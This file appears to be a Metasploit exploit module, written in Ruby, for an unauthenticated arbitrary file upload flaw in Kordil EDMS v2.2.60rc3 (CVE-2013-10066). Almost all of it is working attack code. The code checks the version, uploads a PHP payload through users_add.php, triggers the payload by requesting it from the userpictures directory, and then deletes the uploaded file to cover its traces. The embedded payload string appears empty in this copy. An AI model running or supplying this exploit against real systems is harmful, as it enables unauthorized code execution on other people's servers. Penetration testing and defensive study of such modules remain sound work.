## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => "Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability", 'Description' => %q{ This module exploits a vulnerability in Kordil EDMS v2.2.60rc3. This application has an upload feature that allows an unauthenticated user to upload arbitrary files to the '/kordil_edms/userpictures/' directory. }, 'License' => MSF_LICENSE, 'Author' => [ 'bcoles' # Discovery and exploit ], 'References' => [ ['CVE', '2013-10066'], ['OSVDB', '90645'], ['EDB', '24547'], ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => '2013-02-22', 'DefaultTarget' => 0, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_fs_delete_file ] } }, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/kordil_edms/']), ] ) self.needs_cleanup = true end def check base = target_uri.path peer = "#{rhost}:#{rport}" # retrieve software version from login page begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(base, 'global_group_login.php') }) if res and res.code == 200 if res.body =~ /
Kordil EDMS v2\.2\.60/ return Exploit::CheckCode::Appears elsif res.body =~ /Kordil EDMS v/ return Exploit::CheckCode::Detected end end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("Connection failed") return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Safe end def upload(base, file) data = Rex::MIME::Message.new data.add_part(file, 'text/x-php', nil, "form-data; name=\"upload_fd31\"; filename=\"#{@fname}.php\"") data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd0"') data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd27"') data.add_part("n", nil, nil, 'form-data; name="act"') data_post = data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'users_add.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data_post }) return res end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") client.fs.file.rm("#{@fname}.php") else client.shell_command_token("rm #{@fname}.php") end end def exploit base = target_uri.path @fname = rand_text_numeric(7) # upload PHP payload to userpictures/[fname].php print_status("Uploading PHP payload (#{payload.encoded.length} bytes)") php = %Q|| begin res = upload(base, php) if res and res.code == 302 and res.headers['Location'] =~ /\.\/user_account\.php\?/ print_good("File uploaded successfully") else fail_with(Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed") end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Failure::Unreachable, "#{peer} - Connection failed") end # retrieve and execute PHP payload print_status("Executing payload (userpictures/#{@fname}.php)") begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(base, 'userpictures', "#{@fname}.php") }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Failure::Unreachable, "#{peer} - Connection failed") end end end